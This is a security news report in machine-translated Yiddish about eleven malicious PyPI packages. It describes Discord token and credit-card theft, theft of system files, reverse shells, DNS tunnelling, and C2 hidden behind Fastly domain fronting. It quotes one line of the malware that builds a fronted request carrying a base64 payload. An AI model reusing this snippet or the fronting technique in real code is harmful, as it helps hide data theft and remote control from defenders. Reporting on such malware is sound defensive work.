ืืื ืื PyPI (Python Package Index) ืืืขืืืืืึทืืขืจ, 11 ืคึผืึทืงืึทืืืฉืึทื ืืื ืืืืืข ืงืึธื ืืขื ืขื ืืืืขื ืึทืคืืื. ืืืืืขืจ ืื ืคึผืจืึธืืืขืืก ืืขื ืขื ืืืืขื ืึทืคืืื, ืื ืคึผืึทืงืึทืืืฉืึทื ืืขื ืขื ืืึทืื ืืึธืืืื ืืื ืืึทื ืฅ 38 ืืืืื ื ืืื. ืื ืืืืขืงืืึทื ืืืืืข ืคึผืึทืงืึทืืืฉืึทื ืืขื ืขื ื ืึธืืืึทืืึทื ืคึฟืึทืจ ืืืืขืจ ื ืืฆื ืคืื ืกืึทืคืืกืืึทืงืืืืื ืืขืืืึธืืก ืฆื ืืึทืืึทืืื ืงืึธืืื ืืงืึทืฆืืข ืืฉืึทื ืึทืื ืืื ืื ืกืขืจืืืขืจืก ืคืื ืื ืึทืืึทืงืขืจื.
- ืืืืืืืง ืคึผืึทืงืงืึทืืข (6305 ืืึทืื ืืึธืืื), ืืืืืืืง ืคึผืขืงื (12897) - ืืขืืจืื ืืขื ืึท ืงืฉืจ ืฆื ืึท ืคืื ืืจืืืกื ืืืง ืกืขืจืืืขืจ ืืื ืืขืจ ืื ืืืื ืคืื ืงืึทื ืขืงืืื ื ืฆื pypi.python.org ืฆื ืฆืืฉืืขืื ืฉืึธื ืึทืงืกืขืก ืฆื ืื ืกืืกืืขื (ืคืึทืจืงืขืจื ืฉืึธื) ืืื ืืขืืืืื ื ืื ืืจืขืืืึธืจืง2 ืคึผืจืึธืืจืึทื ืฆื ืืึทืืึทืืื ืื ืงืึธืืื ืืงืึทืฆืืข ืงืึทื ืึทื.
- pptest (10001), ืืคึผืืึธืึทืจืืก (946) - ืืขืืืืื ื ืื ืก ืืื ืึท ืงืึธืืื ืืงืึทืฆืืข ืงืึทื ืึทื ืฆื ืึทืจืืืขืจืคืืจื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืกืืกืืขื (ืืื ืืขืจ ืขืจืฉืืขืจ ืคึผืึทืงืึทื ืืขืจ ืืึทืืขืืึธืก ื ืึธืืขื, ืืจืืขืื ืืืขืืืืืึทืืขืจ, ืื ืขืจืืขื ืืื ืคืื ืืจืืืกื ืืืง IP, ืืื ืื ืจืืข - ืืขืจ ืืึทื ืืฆืขืจ ื ืึธืืขื ืืื ืืึทืืขืืึธืก ื ืึธืืขื) .
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ืืืืขื ืึทืคืืื ืื ืืืกืงืึธืจื ืกืขืจืืืืก ืกืืืขื ืืื ืื ืกืืกืืขื ืืื ืืขืฉืืงื ืขืก ืฆื ืึท ืคืื ืืจืืืกื ืืืง ืืึทืืขืืึธืก.
- trrfab (287) - ืืขืฉืืงื ืื ืืืขื ืืืคืืขืจ, ืืึทืืขืืึธืก ื ืึธืืขื ืืื ืืื ืืึทืื ืคืื /etc/passwd, /etc/hosts, /home ืฆื ืื ืคืื ืืจืืืกื ืืืง ืืึทืืขืืึธืก.
- 10Cent10 (490) - ืืขืืจืื ืืขื ืึท ืคืึทืจืงืขืจื ืฉืึธื ืคึฟืึทืจืืื ืืื ื ืืื ืึท ืคืื ืืจืืืกื ืืืง ืืึทืืขืืึธืก.
- yandex-yt (4183) - ืืขืืืืื ืึท ืึธื ืืึธื ืืืขืื ืื ืงืึทืืคึผืจืึทืืืืื ืกืืกืืขื ืืื ืจืืืขืจืขืงืืื ืฆื ืึท ืืืึทื ืืื ื ืึธื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืืืืึทืืขืจ ืึทืงืฉืึทื ื ืืจืืืก ืืืจื nda.ya.ru (api.ya.cc).
ืืขืจ ืืขืืึธื ืคืื ืึทืงืกืขืกืื ื ืคืื ืืจืืืกื ืืืง ืืื ืืช ืืขื ืืฆื ืืื ืื ืืืืืืืง ืคึผืึทืงืงืึทืืข ืืื ืืืืืืืง ืคึผืขืงื ืคึผืึทืงืึทืืืฉืึทื, ืืืึธืก ืืขื ืืฆื ืื Fastly ืืื ืืึทืื ืขืงืกืคึผืจืขืก ื ืขืฅ ืืื ืืขื ืืฆื ืืื ืื PyPI ืืืขืืืืืึทืืขืจ ืฆื ืืึทืืึทืืื ืืืืขืจ ืืขืืืงืืื. ืืื ืคืึทืงื, ืจืืงืืืขืก ืืขื ืขื ืืขืฉืืงื ืฆื ืื pypi.python.org ืกืขืจืืืขืจ (ืึทืจืืึทื ืืขืจืขืื ื ืกืคึผืขืฆืืคืืฆืืจื ืื ื ืึธืืขื python.org ืืื SNI ืืื ืื HTTPS ืืขืื), ืึธืืขืจ ืื ืืืืคึผ "ืืึธืกื" ืืขืืขืจ ืึทืจืืึทื ืืขืจืขืื ื ืื ื ืึธืืขื ืคืื ืื ืกืขืจืืืขืจ ืงืึทื ืืจืึธืืื ืืืจื ืื ืึทืืึทืงืขืจื (ืกืขืง. forward.io. global.prod.fastly.net). ืื ืืื ืืึทืื ืขืงืกืคึผืจืขืก ื ืขืฅ ืืขืฉืืงื ืึท ืขื ืืขื ืืงืฉื ืฆื ืื ืึทืืึทืงืื ื ืกืขืจืืืขืจ, ื ืืฆื ืื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืื TLS ืคึฟืึทืจืืื ืืื ื ืฆื pypi.python.org ืืืขื ืืจืึทื ืกืืืืื ื ืืึทืื.
ืื PyPI ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืืื ืคึผืึทืืขืจื ืืืจื ืื Fastly ืืื ืืึทืื ืขืงืกืคึผืจืขืก ื ืขืฅ, ืืืึธืก ื ืืฆื ืื Varnish ืืจืึทื ืกืคึผืขืจืึทื ื ืคืจืืงืกื ืฆื ืงืึทืฉ ืืืคึผืืฉ ืจืืงืืืขืก, ืืื ืืืื ื ืืฆื TLS ืืึทืืืืึทืื ืคึผืจืึทืกืขืกืื ื ืืืืฃ ืื CDN ืืืจืื, ืืื ืืื ืืื ืื ืกืืฃ ืกืขืจืืืขืจืก, ืฆื ืคืึธืจืืืก HTTPS ืจืืงืืืขืก ืืืจื ืึท ืคืจืืงืกื. ืจืขืืึทืจืืืขืกืก ืคืื ืื ืฆืื ืืึทืืขืืึธืก, ืจืืงืืืขืก ืืขื ืขื ืืขืฉืืงื ืฆื ืื ืคืจืืงืกื, ืืืึธืก ืืืืขืจืืึทื ื ืืขืจ ืืขืืืืื ืืึทืืขืืึธืก ื ืืฆื ืื ืืืืคึผ "ืืึธืกื" ืืขืืขืจ, ืืื ืื ืืึทืืขืืึธืก ืคืขืื ื ืขืืขื ืืขื ืขื ืืืื ืฆื ืื CDN ืืึทืกืข ืืึทืืึทื ืกืขืจ IP ืึทืืจืขืกืขืก ืืืึธืก ืืขื ืขื ืืืคึผืืฉ ืคึฟืึทืจ ืึทืืข ืคืึทืกืืื ืงืืืืึทื ืฅ.
ืื ืกืขืจืืืขืจืก ืคืื ืื ืึทืืึทืงืขืจื ืืืื ืจืขืืืฉืืกืืขืจื ืืื CDN Fastly, ืืืึธืก ืืื ืคืจืื ืคึผืืึทื ื ืฆื ืึทืืขืืขื ืืื ืืคืืื ืึทืืึทืื ืึทื ืึทื ืึทืืึทืก ืจืขืืืกืืจืึทืฆืืข. ืขืก ืืื ื ืึธืืืืืขืจืื ืึทื ืฆื ืฉืืงื ืจืืงืืืขืก ืฆื ืื ืงืึธืจืื ืืืขื ืงืจืืืืืื ื ืึท "ืคืึทืจืงืขืจื ืฉืึธื", ืึท ืกืืขืืข ืืื ืืืื ืืขื ืืฆื, ืึธืืขืจ ืื ืืฉืืืืืื ืคืื ืื ืืืึทื ืคืื ืื ืึทืืึทืงืขืจ ืก ืืึทืืขืืึธืก. ืคึฟืื ืึทืจืืืก, ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืึทืืึทืงืขืจื 'ืกืขืจืืืขืจ ืงืืงื ืืื ืึท ืืึทืืืฉืืืึทืืึทื ืกืขืกืืข ืืื ืื PyPI ืืืขืืืืืึทืืขืจ, ืื ืงืจืืคึผืืื ืืื ืึท PyPI TLS ืืึทืืืืึทืื. ื ืขื ืืขื ืืขืื ืืง, ืืืงืื ื ืืื " ืคืขืื ืคืจืึธื ืืื ื ", ืืื ืืื ืึทืืขืจ ืึทืงืืืืืื ืืขื ืืฆื ืฆื ืืึทืืึทืืื ืื ืืึทืืขืืึธืก ื ืึธืืขื ืืืขื ืืืืคึผืึทืกืื ื ืืืึทืงืื ื, ื ืืฆื ืื ืคืืืืงืืื ืฆืืืขืฉืืขืื ืืื ืขืืืขืืข CDN ื ืขืืืืึธืจืงืก ืฆื ืึทืงืกืขืก HTTPS ืืืจื ืื ืืึทืงืืืืื ื ืึท ืคืืงืืืฉืึทืก ืืึทืืขืืึธืก ืืื ืื SNI ืืื ืคืืงืืืฉ ืืจืึทื ืกืืืืื ื ืื ื ืึธืืขื ืคืื ืื ืืขืืขืื ืืึทืืขืืึธืก ืืื ืื HTTP ืืึธืกื ืืขืืขืจ ืืื ืึท TLS ืกืขืกืืข.
ืฆื ืืึทืืึทืืื ืืืืืข ืึทืงืืืืืืืขืื, ืื TrevorC2 ืคึผืขืงื ืืื ืึทืืืฉื ืึทืื ืืขื ืืฆื ืฆื ืืึทืื ืื ืืขืจืึทืงืฉืึทื ืืื ืื ืกืขืจืืืขืจ ืขื ืืขื ืฆื ืจืขืืืืขืจ ืืืขื ื ืึทืืืืืึทืฆืืข, ืืืฉื, ืืืืืข ืจืืงืืืขืก ืืขื ืขื ืืขืฉืืงื ืืื ืืขืจ ืื ืืืื ืคืื ืืึทืื ืืึธืืืื ื ืื ืืืื "https://pypi.python.org/images/ guid = "ืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืงืึธืืืจืื ื ืืื ืืืื ืคึผืึทืจืึทืืขืืขืจ. URL = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request (URL, ืืขืืขืจื = {'ืืึธืกื': "psec.forward.io.global.prod.fastly.net")
ืื pptest ืืื ipboards ืคึผืึทืงืืืืฉืื ืืขื ืืฆื ืึท ืึทื ืืขืจืฉ ืฆืืืึทื ื ืฆื ืืึทืืึทืืื ื ืขืฅ ืืขืืืงืืื, ืืืืืจื ืืืืฃ ืงืึธืืืจืื ื ื ืืฆืืง ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืคึฟืจืืื ืฆื ืื ืื ืก ืกืขืจืืืขืจ. ืื ืืึทืืืืึทืจืข ืืจืึทื ืกืืืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืจื ืคึผืขืจืคืึธืจืืื ื ืื ืก ืจืืงืืืขืก ืืื "nu4timjagq4fimbuhe.example.com", ืืื ืืืึธืก ืื ืืึทืื ืืจืึทื ืกืืืืืขื ืฆื ืื ืงืึธื ืืจืึธื ืกืขืจืืืขืจ ืืื ืงืึธืืขื ืืื ืื ืืึทืืข 64 ืคึฟืึธืจืืึทื ืืื ืื ืกืืืืึธืืึทืื ื ืึธืืขื. ืืขืจ ืึทืืึทืงืขืจ ื ืขืื ืื ืึทืจืืืงืืขื ืืืจื ืงืึทื ืืจืึธืืืื ื ืื ืื ืก ืกืขืจืืืขืจ ืคึฟืึทืจ ืื example.com ืคืขืื.
ืืงืืจ: opennet.ru